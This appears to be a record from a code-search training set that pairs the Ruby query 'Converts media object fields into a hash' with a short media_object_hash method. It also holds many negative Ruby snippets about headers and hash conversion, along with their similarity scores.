"def header(buf)\n peek = buf.readbyte(0)\n\n header = {}\n header[:type], type = HEADREP.find do |_t, desc|\n mask = (peek >> desc[:prefix]) << desc[:prefix]\n mask == desc[:pattern]\n end\n\n fail CompressionError unless header[:type]\n\n header[:name] = integer(buf, type[:prefix])\n\n case header[:type]\n when :indexed\n fail CompressionError if (header[:name]).zero?\n header[:name] -= 1\n when :changetablesize\n header[:value] = header[:name]\n else\n if (header[:name]).zero?\n header[:name] = string(buf)\n else\n header[:name] -= 1\n end\n header[:value] = string(buf)\n end\n\n header\n end",
"def +(header)\n keys = %w[header_length body_length channel_id message_type_id message_stream_id timestamp]\n other_values = Hash[keys.map {|k| [k, header.instance_variable_get(\"@#{k}\")]}]\n other_values.each do |k, v|\n unless v.nil?\n send(\"#{k}=\", v) unless v.nil?\n end\n end\n self\n end",
"def parse_headers(row = nil)\n if @headers.nil? # header row\n @headers = case @use_headers # save headers\n # Array of headers\n when Array then @use_headers\n # HBCSV header String\n when String\n self.class.parse_line( @use_headers,\n col_sep: @col_sep,\n row_sep: @row_sep,\n quote_char: @quote_char )\n # first row is headers\n else row\n end\n\n # prepare converted and unconverted copies\n row = @headers if row.nil?\n @headers = convert_fields(@headers, true)\n @headers.each { |h| h.freeze if h.is_a? String }\n\n if @return_headers # return headers\n return self.class::Row.new(@headers, row, true)\n elsif not [Array, String].include? @use_headers.class # skip to field row\n return shift\n end\n end\n\n self.class::Row.new(@headers, convert_fields(row)) # field row\n end",
"def build(body = body, status = status, header = header)\n header.each do |key, value|\n self[key] = value\n end\n\n self.body, self.status = body, status\n self\n end",
"def merge!(headers_or_env); end",
"def parse_header(string)\n {\n # identificação do registro header\n :tipo_registro => string[0..0].to_i,\n # identificação do arquivo retorno\n :codigo_retorno => string[1..1],\n # identificação por extenso do tipo de movimento\n :literal_retorno => string[2..8],\n # identificação do tipo de serviço\n :codigo_servico => string[9..10],\n # identificação por extenso do tipo de serviço\n :literal_servico => string[11..25],\n # agência mantenedora da conta\n :agencia => string[26..29],\n # complemento de registro\n :zeros => string[30..31],\n # número da conta corrente da empresa\n :conta => string[32..36],\n # dígito de auto-conferência ag/conta empresa\n :dac => string[37..37],\n # complemento do registro\n #:brancos1 => string[38..45],\n # nome por extenso da \"empresa mãe\"\n :nome_empresa => string[46..75],\n # número do banco na câmara de compensação\n :codigo_banco => string[76..78],\n # nome por extenso do banco cobrador\n :nome_banco => string[79..93].strip,\n # data de geração do arquivo\n :data_geracao => string[94..99],\n # unidade de densidade\n :densidade => string[100..104],\n # densidade de gravação do arquivo\n :unidade_densidade => string[105..107],\n # número sequencial do arquivo retorno\n :numero_sequencial_arquivo_retorno => string[108..112],\n # data de crédito dos lançamentos\n :data_credito => string[113..118],\n # complemento do registro\n #:brancos2 => string[119..393],\n # número sequencial do registro no arquivo\n :numero_sequencial => string[394..399]\n }\n end",
"def to_h\n pairs = first_child.text.each_line.collect do |line|\n key, value = parse_key_value_line(line)\n end\n Hash[pairs]\n end"
] |
[
"0.6471593",
"0.64623356",
"0.64618134",
"0.62762666",
"0.61681825",
"0.61663663",
"0.60723513",
"0.59504277",
"0.5904123",
"0.58703166",
"0.5821301",
"0.5809715",
"0.57958263",
"0.5759309",
"0.57372373",
"0.57364005",
"0.57231206",
"0.5651339",
"0.564033",
"0.5630153",
"0.55500245",
"0.55500245",
"0.5537658",
"0.5535533",
"0.55313104",
"0.5514798",
"0.5509827",
"0.5482558",
"0.5481516",
"0.54687506",
"0.5465059",
"0.54358613",
"0.543256",
"0.54305285",
"0.54305285",
"0.5422309",
"0.5418898",
"0.5406407",
"0.53793085",
"0.53629357",
"0.53544366",
"0.53483367",
"0.5344321",
"0.5338493",
"0.5325781",
"0.53256506",
"0.5320914",
"0.5313206",
"0.531242",
"0.5299575",
"0.52897865",
"0.5284214",
"0.527343",
"0.52633077",
"0.5257316",
"0.52507997",
"0.5243131",
"0.52395976",
"0.5238171",
"0.5216296",
"0.52158725",
"0.5196612",
"0.51944286",
"0.5192244",
"0.5192228",
"0.5188737",
"0.5188737",
"0.5188737",
"0.5188737",
"0.518621",
"0.5186173",
"0.5168681",
"0.5167491",
"0.51661694",
"0.51540965",
"0.51479465",
"0.51358485",
"0.51332575",
"0.5123644",
"0.5120742",
"0.51149005",
"0.51140654",
"0.51126033",
"0.51116014",
"0.5101984",
"0.5099555",
"0.5096561",
"0.50957996",
"0.5069495",
"0.50693214",
"0.5068986",
"0.50647",
"0.50623876",
"0.5062298",
"0.5055797",
"0.50541115",
"0.505142",
"0.50489175",
"0.5046523",
"0.50453585",
"0.5041469"
] |
0.0
|
-1
|
Converts media object fields into a hash.
|
def media_object_hash
fields_to_hash media_object_fields
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def to_hash\n { :file => file, :format => format, :media => media }\n end",
"def media_object_fields\n fields.select { |field| media_object_header?(field.header) }\n end",
"def to_h\n @to_h ||= ordered_values.map { |v|\n v = v.dup\n media_type = v.delete(:media_type)\n [media_type, v]\n }.to_h\n end",
"def to_hash\n @fields\n end",
"def to_h\n {\n :name => @name,\n :type => @type,\n :metaData => @meta_data,\n :timestamp => @timestamp.iso8601(3)\n }\n end",
"def to_hash\n self.class.fields.each_with_object({}) do |key, hash|\n val = send(key)\n hash[key] = val if !val.nil?\n end\n end",
"def hash\n [format, resolution, aspect_ratio, size, fps, scale_to, quality, repeat, mute, range, poster, thumbnail, destinations].hash\n end",
"def fields_to_hash(these_fields)\n combined_fields = combine_multivalued_fields(these_fields)\n combined_pairs = combined_fields.map do |field|\n\n # does the normalize_ case ever happen?\n key = api_field_name_for(field.header) || normalize_header(field.header)\n [ key, encode_values(field.value) ]\n end\n Hash[ combined_pairs ]\n end",
"def to_hash\n {\n 'meta' => {\n 'version' => version,\n 'title' => title,\n 'subtitle' => subtitle,\n 'artist' => artist,\n 'album' => album,\n 'lyricist' => lyricist,\n 'composer' => composer,\n 'copyright' => copyright,\n 'transcriber' => transcriber,\n 'instructions' => instructions,\n 'notices' => notices\n }\n }\n end",
"def to_hash\n {\n 'id' => @id,\n 'description' => @description,\n 'picture' => @picture,\n 'name' => @name\n }\n end",
"def fields_hash\n each_pair.to_h\n end",
"def to_h\n # Deep dup\n JSON.parse(@meta.to_json, symbolize_names: true)\n end",
"def to_h\n FieldsToHash.call(self)\n end",
"def to_hash\n { :title => title,\n :album_name => album.name,\n :album_slug => album.to_param,\n :artist_name => artist.name,\n :artist_slug => artist.to_param,\n :album_art_path => \"/images/art/#{album.art}\",\n :seconds => seconds,\n :liked => liked || false,\n :queued => queued?,\n :path => path,\n :slug => to_param\n }\n end",
"def to_hash\n {\n :id => id.to_s,\n :name => file.original_filename,\n :mime => file.content_type,\n :size => file.size,\n :versions => {\n :original => file.url,\n :icon => file.url(:icon),\n :thumb => file.url(:thumb)\n }\n }\n end",
"def to_hash\n # fields\n result = {\n 'rcpt' => @timeline.recipient_id,\n 'routing' => @routing_kind,\n 'activity' => @activity.to_hash,\n }\n\n result['meta'] = @meta.stringify_keys unless @meta.blank?\n\n result\n end",
"def to_hash\n # TODO: find a better option to populate the data to the Hash\n image;feed;links;charset;absolute_links;title;meta_keywords\n @data.to_hash\n end",
"def hash\n [attachments, billing, body, body_html, body_rtf, body_type, categories, companies, item_id, message_class, mileage, recipients, sensitivity, subject, subject_prefix, properties, discriminator, electronic_addresses, events, name_info, other_fields, personal_info, photo, physical_addresses, professional_info, telephones].hash\n end",
"def get_field_deserializers()\n return super.merge({\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n \"file\" => lambda {|n| @file = n.get_object_value(lambda {|pn| Base64url.create_from_discriminator_value(pn) }) },\n \"fileHash\" => lambda {|n| @file_hash = n.get_string_value() },\n \"version\" => lambda {|n| @version = n.get_string_value() },\n })\n end",
"def field_hash\n\n self.yattributes || fields.inject({}) { |r, f| r[f.fkey] = f.value; r }\n end",
"def attributes_hash(object); end",
"def metadata\n metadata = {}\n @file.data.each { |key, value| metadata[key.to_sym] = value }\n\n metadata[:type] = @file.class.name.split('::')[1].downcase\n metadata[:url] = @file.url\n\n metadata[:slug] = slug\n\n metadata[:posted_at] = @file.date.to_time.to_i if @file.respond_to? :date\n metadata[:tags] = tags\n\n metadata\n end",
"def record_to_hash(r, attrs)\n {}\n end",
"def to_hash\n r_hash = {}\n r_hash['meta'] = self.meta\n r_hash['payload'] = {\n 'id' => self.id,\n 'asset' => self.asset,\n 'time' => self.time,\n 'bs' => self.bs,\n 'type' => self.type,\n 'reason' => self.reason\n }\n r_hash.delete_if { |k, v| v.nil? }\n end",
"def to_hash\n @fields.delete_if {|key,val| val.nil?}\n h = {\n :type => @type,\n :id => @id,\n :version => @version\n }\n\n unless @type == 'delete'\n h[:fields] = @fields \n h[:lang] = @lang\n end\n\n h \n end",
"def hash\n [class_id, object_type, msg_type, path, stream].hash\n end",
"def get_field_deserializers()\n return {\n \"hashes\" => lambda {|n| @hashes = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Hashes.create_from_discriminator_value(pn) }) },\n \"mimeType\" => lambda {|n| @mime_type = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"processingMetadata\" => lambda {|n| @processing_metadata = n.get_boolean_value() },\n }\n end",
"def to_h\n if image_meta && image_meta['width'] && image_meta['height']\n { pid: id, src: file.url, msrc: file.tiny.url, w: image_meta['width'], h: image_meta['height'] }\n else\n # Choose some plausible default if the metadata is missing.\n { pid: id, src: file.large.url, msrc: file.tiny.url, w: 1440, h: 900 }\n end\n end",
"def to_hash\n result = { }\n\n # id\n result['_id'] = @_id if @_id\n\n # timestamp\n result['at'] = @at\n\n # kind\n result['kind'] = kind.to_s\n\n # entities\n @entities.each do |entity_name, entity|\n result[entity_name.to_s] = entity.model_id\n end\n\n # meta\n result['meta'] = @meta.stringify_keys unless @meta.blank?\n\n result\n end",
"def get_field_deserializers()\n return super.merge({\n \"committedContentVersion\" => lambda {|n| @committed_content_version = n.get_string_value() },\n \"contentVersions\" => lambda {|n| @content_versions = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::MobileAppContent.create_from_discriminator_value(pn) }) },\n \"fileName\" => lambda {|n| @file_name = n.get_string_value() },\n \"size\" => lambda {|n| @size = n.get_object_value(lambda {|pn| Int64.create_from_discriminator_value(pn) }) },\n })\n end",
"def info_hash\n @fields\n end",
"def video_parts_attributes\n video_parts.map{|video_part| video_part.serializable_hash(only: [:source_url, :number, :duration]) }\n end",
"def attributes\r\n hash = super\r\n hash.delete('author')\r\n hash.delete('images')\r\n hash[\"document_type\"] = document_type\r\n hash[\"section_name\"] = section_name\r\n hash\r\n end",
"def attributes\n Hash[attribute_pairs].\n merge(media_attributes)\n end",
"def attachment_fields_hash\n @attachment_fields_hash ||=\n setups.inject({}) do |hash, setup|\n setup.all_attachment_fields.each do |text_field|\n (hash[text_field.name] ||= Set.new) << text_field\n end\n hash\n end\n end",
"def dissect_to_record_hashes\n end",
"def hash\n fields.map { |field| instance_variable_get(field[:name]) }.hash\n end",
"def entry_fields(rec, user:, serialize: JSON_SERIALIZE)\n user = user_id(user) unless user.is_a?(Integer)\n ed = rec.emma_metadata(refresh: true)\n fd = rec.file_data\n mime = fd&.deep_symbolize_keys&.dig(:metadata, :mime_type)\n fmt = mime_to_fmt(mime)\n ext = fmt_to_ext(fmt)\n {\n user_id: user,\n repository: ed[:emma_repository],\n submission_id: ed[:emma_repositoryRecordId],\n fmt: ed[:dc_format] || FileFormat.metadata_fmt(fmt),\n ext: ext,\n state: 'completed',\n phase: 'create',\n file_data: (serialize ? fd.to_json : fd),\n emma_data: (serialize ? ed.to_json : ed),\n }\n end",
"def to_hash\n record_hash = {\"leader\" => @leader, \"fields\" => []}\n @fields.each do |field|\n record_hash[\"fields\"] << field.to_hash\n end\n record_hash\n end",
"def model_fields\n ActiveSupport::OrderedHash.new.tap do |hash|\n properties.map do |u|\n hash[u.name] = TYPES.fetch properties.find{|property| property.name == u.name}.primitive\n end\n end\n end",
"def to_h\n {\n xmlns: fields.xmlns,\n entry: fields.to_h\n }\n end",
"def to_h\n post_hash = {}\n basics = [:post_id, :type, :date, :tags, :format, :group, :generator,\n :slug, :state, :send_to_twitter, :publish_on, :reblog_key]\n params = basics.select {|opt| respond_to?(opt) && send(opt) }\n params |= self.class.parameters.select {|opt| send(opt) } unless self.class.parameters.blank?\n params.each { |key| post_hash[key.to_s.gsub('_','-').to_sym] = send(key) } unless params.empty?\n post_hash[:private] = 1 if private?\n post_hash\n end",
"def to_hash\n scrape_meta_data\n\n {\n 'url' => url,\n 'title' => title,\n 'links' => links,\n 'internal_links' => internal_links,\n 'external_links' => external_links,\n 'images' => images,\n 'charset' => charset,\n 'feed' => feed,\n 'content_type' => content_type\n }.merge @data.to_hash\n end",
"def record_fields\n mappings = {}\n\n mappings['identifier'] = self.record.identifier || self.record['identifier']\n mappings['publish'] = self.record['publish']\n mappings['level'] = self.record.level || self.record['level']\n mappings['title'] = strip_mixed_content(self.record['title'])\n mappings['uri'] = self.record.uri || self.record['uri']\n\n resolved_resource = self.record['_resolved_resource'] || self.record.resolved_resource\n if resolved_resource\n resource_obj = resolved_resource[self.record['resource']]\n if resource_obj\n mappings['collection_id'] = \"#{resource_obj[0]['id_0']} #{resource_obj[0]['id_1']} #{resource_obj[0]['id_2']} #{resource_obj[0]['id_3']}\".rstrip\n mappings['collection_title'] = resource_obj[0]['title']\n end\n end\n\n resolved_repository = self.record.resolved_repository\n if resolved_repository\n mappings['repo_code'] = resolved_repository['repo_code']\n mappings['repo_name'] = resolved_repository['name']\n end\n\n if record['creators']\n mappings['creators'] = self.record['creators']\n .select { |cr| cr.present? }\n .map { |cr| cr.strip }\n .join(\"; \")\n end\n\n if record.notes\n accessrestrict = record.notes['accessrestrict']\n if accessrestrict\n arSubnotes = accessrestrict['subnotes']\n if arSubnotes\n mappings['accessrestrict'] = arSubnotes\n .select { |arSubnote| arSubnote['content'].present? }\n .map { |arSubnote| arSubnote['content'].strip }\n .join(\"; \")\n end\n end\n end\n\n return mappings\n end",
"def metadata\n @metadata.tap do |h|\n # This represents the minimal set of attribute methods that should be available in every subclass.\n h[:mime_type] = mime_type if mime_type\n h[:filename] = filename if filename\n h[:digest] = digest if digest\n h[:size] = size if size\n h[:last_modified] = last_modified if last_modified\n end\n end",
"def to_field_hash\n to_values_hash.flatten\n end",
"def to_hash\n attributes\n end",
"def to_h\n data_fields = EXTERNAL_DATA\n data_fields << :id\n data_fields << :read_count\n data = Hash.new\n data_fields.each do |field|\n if self.respond_to?(field)\n value = self.send(field)\n data[field] = value unless !value\n else\n puts \"ERROR: yaml field not present: #{field}\"\n end\n end\n # ensure these aren't editable afterwards\n cloned_data = Marshal.load(Marshal.dump(data))\n cloned_data\n end",
"def to_hash\n fields = %w(name slug description label_field_name order_by order_direction public_submission_enabled public_submission_accounts raw_item_template)\n\n _attributes = self.attributes.delete_if { |k, v| !fields.include?(k.to_s) || v.blank? }.deep_stringify_keys\n\n # group by\n _attributes['group_by'] = self.group_by_field.name if self.group_by_field\n\n # order by\n _attributes['order_by'] = self.order_by_field.name if self.order_by_field\n _attributes['order_by'] = 'manually' if self.order_by == '_position'\n\n # custom fields\n _attributes['fields'] = self.fields\n\n _attributes\n end",
"def normalize_fields\n new_fields = CICPHash.new\n fields.each do |key, value|\n new_fields[key] = ApeItem.create(key, value).normalize_encodings\n end\n @fields = new_fields\n end",
"def to_h\n data = super\n data[:convert] = data.delete(:converter)\n data.stringify_keys\n end",
"def signature_fields\n parsed {\n @signature_fields\n }\n end",
"def serializable_hash(options=nil)\n {\n \"id\" => id.to_s,\n \"filename\" => File.basename(data.path),\n \"url\" => data.url,\n \"thumb_url\" => data.url(:thumb),\n \"public_token\" => public_token\n }\n end",
"def serializable_hash(options=nil)\n {\n \"id\" => id.to_s,\n \"filename\" => File.basename(data.path),\n \"url\" => data.url,\n \"thumb_url\" => data.url(:thumb),\n \"public_token\" => public_token\n }\n end",
"def formated_api\n {\n url: self.attachment.url,\n md5: self.md5,\n }\n end",
"def to_h\n hash = {}\n self.class.field_definitions.each do |k, v|\n hash[k] = field_value k\n end\n hash\n end",
"def to_h\n hash = metadata.merge(:CreationDate => Time.now)\n hash[:Title] = title if title\n hash[:Author] = authors.join(\", \") unless authors.empty?\n hash[:Subject] = subject if subject\n hash[:Keywords] = keywords if keywords\n hash[:Creator] = creator if creator\n if producer\n hash[:Producer] = producer\n hash[\"Producer\"] = producer\n end\n {:info => hash}\n end",
"def get_field_deserializers()\n return {\n \"attribution\" => lambda {|n| @attribution = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::ImageInfo.create_from_discriminator_value(pn) }) },\n \"backgroundColor\" => lambda {|n| @background_color = n.get_string_value() },\n \"content\" => lambda {|n| @content = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Json.create_from_discriminator_value(pn) }) },\n \"description\" => lambda {|n| @description = n.get_string_value() },\n \"displayText\" => lambda {|n| @display_text = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n }\n end",
"def to_hash\n h = {}\n h[:subject] = @subject if @subject\n h[:object] = @object if @object\n h[:audience] = @audience if @audience\n h[:person] = @person if @person\n h[:number] = @number if @number\n h\n end",
"def get_field_deserializers()\n return super.merge({\n \"large\" => lambda {|n| @large = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Thumbnail.create_from_discriminator_value(pn) }) },\n \"medium\" => lambda {|n| @medium = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Thumbnail.create_from_discriminator_value(pn) }) },\n \"small\" => lambda {|n| @small = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Thumbnail.create_from_discriminator_value(pn) }) },\n \"source\" => lambda {|n| @source = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Thumbnail.create_from_discriminator_value(pn) }) },\n })\n end",
"def hash\n [active, additional_properties, author, authored, banned, category, comments, contributors, created_date, embed, extension, height, id, length, location, long_description, mime_type, name, priority, privacy, published, short_description, size, tags, template, thumbnail, updated_date, uploader, views, width].hash\n end",
"def inspect\n values = @properties.map{|k, v| \"#{k}: #{v}\"}.join(\" \")\n \"<Twilio.Media.V1.MediaProcessorInstance #{values}>\"\n end",
"def get_field_deserializers()\n return super.merge({\n \"contentData\" => lambda {|n| @content_data = n.get_string_value() },\n \"fileName\" => lambda {|n| @file_name = n.get_string_value() },\n })\n end",
"def to_hash\n h = self.Header.to_hash\n h.merge! self.Metadata.to_hash\n h.merge! self.NewsContent.to_hash\n h\n end",
"def get_field_deserializers()\n return {\n \"callChainId\" => lambda {|n| @call_chain_id = n.get_guid_value() },\n \"cloudServiceDeploymentEnvironment\" => lambda {|n| @cloud_service_deployment_environment = n.get_string_value() },\n \"cloudServiceDeploymentId\" => lambda {|n| @cloud_service_deployment_id = n.get_string_value() },\n \"cloudServiceInstanceName\" => lambda {|n| @cloud_service_instance_name = n.get_string_value() },\n \"cloudServiceName\" => lambda {|n| @cloud_service_name = n.get_string_value() },\n \"deviceDescription\" => lambda {|n| @device_description = n.get_string_value() },\n \"deviceName\" => lambda {|n| @device_name = n.get_string_value() },\n \"mediaLegId\" => lambda {|n| @media_leg_id = n.get_guid_value() },\n \"mediaQualityList\" => lambda {|n| @media_quality_list = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::TeleconferenceDeviceMediaQuality.create_from_discriminator_value(pn) }) },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"participantId\" => lambda {|n| @participant_id = n.get_guid_value() },\n }\n end",
"def values\n record && record.to_hash(fields)\n end",
"def medias_for(type)\n found = {}\n type.media_type_representations.each do |key|\n found[key] = media_types[key]\n end\n found.values\n end",
"def get_field_deserializers()\n return {\n \"customKeyIdentifier\" => lambda {|n| @custom_key_identifier = n.get_object_value(lambda {|pn| Base64url.create_from_discriminator_value(pn) }) },\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n \"endDateTime\" => lambda {|n| @end_date_time = n.get_date_time_value() },\n \"key\" => lambda {|n| @key = n.get_object_value(lambda {|pn| Base64url.create_from_discriminator_value(pn) }) },\n \"keyId\" => lambda {|n| @key_id = n.get_guid_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"startDateTime\" => lambda {|n| @start_date_time = n.get_date_time_value() },\n \"thumbprint\" => lambda {|n| @thumbprint = n.get_string_value() },\n \"type\" => lambda {|n| @type = n.get_string_value() },\n \"usage\" => lambda {|n| @usage = n.get_string_value() },\n }\n end",
"def to_hash\n #Prevent inplace object chane to keep its state\n tohash = @metadata.clone\n #Call appropriate to_hash method for all available controls\n tohash['controls'].map!(&:to_hash)\n #Call appropriate to_hash method for all available connections\n tohash['connections'].map!(&:to_hash) unless tohash['connections'].nil?\n tohash\n end",
"def fields\n @fields ||= {}\n end",
"def fields\n @fields ||= {}\n end",
"def fields\n @fields ||= {}\n end",
"def fields\n @fields ||= {}\n end",
"def fields\n @fields ||= {}\n end",
"def to_hash\n {\n :name => self[:name],\n :cms_id => self[:cms_id],\n :nqf_id => self[:nqf_id],\n :hqmf_id => self[:hqmf_id],\n :hqmf_set_id => self[:hqmf_set_id],\n :hqmf_version_number => self[:hqmf_version_number],\n :value_sets => self.value_sets_to_hashes\n }\n end",
"def attributes\n self.class.fields.inject({}) do |attribute_hash, field|\n attribute_hash[field] = send(field)\n attribute_hash\n end\n end",
"def fields\n iterator = @form_fields.keySet.iterator\n map = {}\n while iterator.hasNext\n key = iterator.next.toString\n map[key.to_sym] = field(key)\n end\n map\n end",
"def to_h\n {\n type: type,\n embed_type: embed_type,\n embed_id: embed_id,\n tags: tags,\n caption: caption.map(&:to_h),\n }\n end",
"def to_hash\n { :host => host,\n :path => path,\n :protocol => protocol,\n :port => port,\n :account_id => account_id,\n :api_id => api_id,\n :secret_phrase => secret_phrase,\n :voice => voice,\n :ext => ext }\n end",
"def get_field_deserializers()\n return super.merge({\n \"createdDateTime\" => lambda {|n| @created_date_time = n.get_date_time_value() },\n \"deviceId\" => lambda {|n| @device_id = n.get_string_value() },\n \"key\" => lambda {|n| @key = n.get_string_value() },\n \"volumeType\" => lambda {|n| @volume_type = n.get_enum_value(MicrosoftGraph::Models::VolumeType) },\n })\n end",
"def parse_common_fields(fields)\n timestamp = fields[:timestamp] || Time.new\n distinct_id = fields[:distinct_id]\n message_id = fields[:message_id].to_s if fields[:message_id]\n send_feature_flags = fields[:send_feature_flags]\n\n check_timestamp! timestamp\n check_presence! distinct_id, 'distinct_id'\n\n parsed = {\n timestamp: datetime_in_iso8601(timestamp),\n library: 'posthog-ruby',\n library_version: PostHog::VERSION.to_s,\n messageId: message_id,\n distinct_id: distinct_id,\n properties: {\n '$lib' => 'posthog-ruby',\n '$lib_version' => PostHog::VERSION.to_s\n }\n }\n\n if send_feature_flags\n feature_variants = fields[:feature_variants]\n feature_variants.each do |key, value|\n parsed[:properties][\"$feature/#{key}\"] = value\n end\n parsed[:properties][\"$active_feature_flags\"] = feature_variants.keys\n end\n parsed\n end",
"def js_record_data\n record.to_hash(fields).merge(:_meta => meta_field).literalize_keys\n end",
"def to_h\n {\n type: type,\n float: float,\n content: content.map(&:to_h),\n tags: tags,\n }\n end",
"def to_hash\n { 'Content-Type' => @content_type,\n 'Content-Transfer-Encoding' => @encoding,\n 'Extensions' => @extensions,\n 'System' => @system,\n 'Obsolete' => @obsolete,\n 'Docs' => @docs,\n 'URL' => @url,\n 'Registered' => registered?,\n }\n end",
"def to_hash\n fields.inject({type: type}) do |table, name|\n table.tap do\n if val = send(name)\n val = val.iso8601(3) if name == :timestamp\n table[name] = val\n end\n end\n end\n end",
"def api_attributes\n {\n :id => id.to_s,\n :type => self.class.name.underscore.downcase,\n :name => name,\n :title => title,\n :bio => bio,\n :twitter_screen_name => twitter_screen_name,\n :permalink => permalink,\n :photo => portrait.url\n }\n end",
"def request_body\n hash = {\n 'platformMsgs:attachReferece' => {\n :content! => @object.to_record,\n '@xsi:type' => @object.record_type\n }\n }\n #not crazy about this solution but not sure how else to get the 'xsi:type' var in the hash\n hash[\"platformMsgs:attachReferece\"][:content!][:attributes!][\"platformCore:attachTo\"][\"xsi:type\"] = \"platformCore:RecordRef\"\n hash[\"platformMsgs:attachReferece\"][:content!][:attributes!][\"platformCore:attachedRecord\"][\"xsi:type\"] = \"platformCore:RecordRef\"\n\n hash\n end",
"def attributes\n hash = {\n \"author\" => @author,\n \"title\" => @title,\n \"summary\" => @summary,\n \"images\" => @images,\n \"source\" => @source,\n \"date\" => @date\n }\n end",
"def to_hash\n hash = {\n \"id\" => id,\n \"isbn\" => isbn,\n \"edition_group_id\" => edition_group_id,\n \"author\" => author,\n \"edition\" => edition,\n \"publisher\" => publisher,\n \"cover\" => cover,\n \"image\" => full_image_uri }\n end",
"def klass_attribute_to_metadata_attribute_map\n {\n :avalon_uploader => :creator,\n :avalon_publisher => :publisher,\n :title => :main_title,\n :alternative_title => :alternative_title,\n :translated_title => :translated_title,\n :uniform_title => :uniform_title,\n :statement_of_responsibility => :statement_of_responsibility,\n :creator => :creator,\n :date_created => :date_created,\n :date_issued => :date_issued,\n :copyright_date => :copyright_date,\n :abstract => :abstract,\n :note => :note,\n :format => :media_type,\n :contributor => :contributor,\n :publisher => :publisher,\n :genre => :genre,\n :subject => :topical_subject,\n :related_item => :related_item_id,\n :collection => :collection,\n :geographic_subject => :geographic_subject,\n :temporal_subject => :temporal_subject,\n :topical_subject => :topical_subject,\n :collection => :collection\n }\n end",
"def custom_fields_object\n @custom_fields_object ||= Hashie::Mash.new custom_fields\n end",
"def to_hash\n {}.tap do |hash|\n _attributes.each do |key, value|\n if key == :data\n hash.merge!(value)\n else\n hash[key] = value.respond_to?(:to_hash) ? value.to_hash : value\n end\n end\n end\n end",
"def to_hash\n {\n :name => @name,\n :file_as => @file_as,\n :role => @role\n }\n end",
"def get_field_deserializers()\n return super.merge({\n \"audiences\" => lambda {|n| @audiences = n.get_collection_of_primitive_values(String) },\n \"description\" => lambda {|n| @description = n.get_string_value() },\n \"issuer\" => lambda {|n| @issuer = n.get_string_value() },\n \"name\" => lambda {|n| @name = n.get_string_value() },\n \"subject\" => lambda {|n| @subject = n.get_string_value() },\n })\n end",
"def prepare_attributes\n if media.present? && will_save_change_to_media?\n self.media_content_type = media.file.content_type\n self.media_file_size = media.file.size\n end\n\n if new_record?\n self.folder = folder.sanitize_filename\n tag_list.add(folder)\n tag_list.add(media.file.extension)\n end\n end",
"def get_field_deserializers()\n return super.merge({\n \"content\" => lambda {|n| @content = n.get_object_value(lambda {|pn| Base64url.create_from_discriminator_value(pn) }) },\n \"expirationDateTime\" => lambda {|n| @expiration_date_time = n.get_date_time_value() },\n \"issuer\" => lambda {|n| @issuer = n.get_string_value() },\n \"issuerName\" => lambda {|n| @issuer_name = n.get_string_value() },\n \"status\" => lambda {|n| @status = n.get_enum_value(MicrosoftGraph::Models::CertificateStatus) },\n \"subject\" => lambda {|n| @subject = n.get_string_value() },\n \"subjectName\" => lambda {|n| @subject_name = n.get_string_value() },\n \"uploadDateTime\" => lambda {|n| @upload_date_time = n.get_date_time_value() },\n })\n end",
"def get_field_deserializers()\n return {\n \"driveId\" => lambda {|n| @drive_id = n.get_string_value() },\n \"driveType\" => lambda {|n| @drive_type = n.get_string_value() },\n \"id\" => lambda {|n| @id = n.get_string_value() },\n \"name\" => lambda {|n| @name = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n \"path\" => lambda {|n| @path = n.get_string_value() },\n \"shareId\" => lambda {|n| @share_id = n.get_string_value() },\n \"sharepointIds\" => lambda {|n| @sharepoint_ids = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::SharepointIds.create_from_discriminator_value(pn) }) },\n \"siteId\" => lambda {|n| @site_id = n.get_string_value() },\n }\n end",
"def to_h\n # TODO: Use a Mash -- some keys are better off addressed as strings\n JSON.parse(raw_data, symbolize_names: true)\n end",
"def hash\n attributes.hash\n end",
"def hash\n attributes.hash\n end"
] |
[
"0.72452724",
"0.6815012",
"0.6692091",
"0.65072256",
"0.632415",
"0.629993",
"0.6236522",
"0.6197641",
"0.61825895",
"0.61747473",
"0.61635965",
"0.6127165",
"0.6040415",
"0.60112405",
"0.6004191",
"0.59897846",
"0.59880704",
"0.5982795",
"0.598253",
"0.5968871",
"0.5965097",
"0.5940458",
"0.59217775",
"0.5902599",
"0.5898055",
"0.58927804",
"0.5886156",
"0.5873891",
"0.5845433",
"0.58413005",
"0.58325386",
"0.58270055",
"0.58245635",
"0.58237416",
"0.5813443",
"0.5804041",
"0.5792732",
"0.5777575",
"0.5770458",
"0.57651263",
"0.5760481",
"0.57572186",
"0.5743536",
"0.57394207",
"0.5724151",
"0.5723255",
"0.57098234",
"0.57045156",
"0.5703991",
"0.5693081",
"0.5687466",
"0.5686925",
"0.5683311",
"0.5683311",
"0.5680132",
"0.56765115",
"0.5673152",
"0.5651931",
"0.56435895",
"0.562895",
"0.5622967",
"0.56203556",
"0.5618582",
"0.5616575",
"0.5609225",
"0.5602453",
"0.5594394",
"0.55934745",
"0.5587879",
"0.5579815",
"0.5579815",
"0.5579815",
"0.5579815",
"0.5579815",
"0.55790365",
"0.55768055",
"0.5576669",
"0.55696356",
"0.5566605",
"0.55559367",
"0.55514246",
"0.55430466",
"0.55346483",
"0.55329305",
"0.5532884",
"0.55327743",
"0.5531255",
"0.55210954",
"0.550748",
"0.55067456",
"0.55042326",
"0.55010027",
"0.54980576",
"0.54916084",
"0.54847383",
"0.54846615",
"0.5473649",
"0.54726905",
"0.5472243",
"0.5472243"
] |
0.88228303
|
0
|
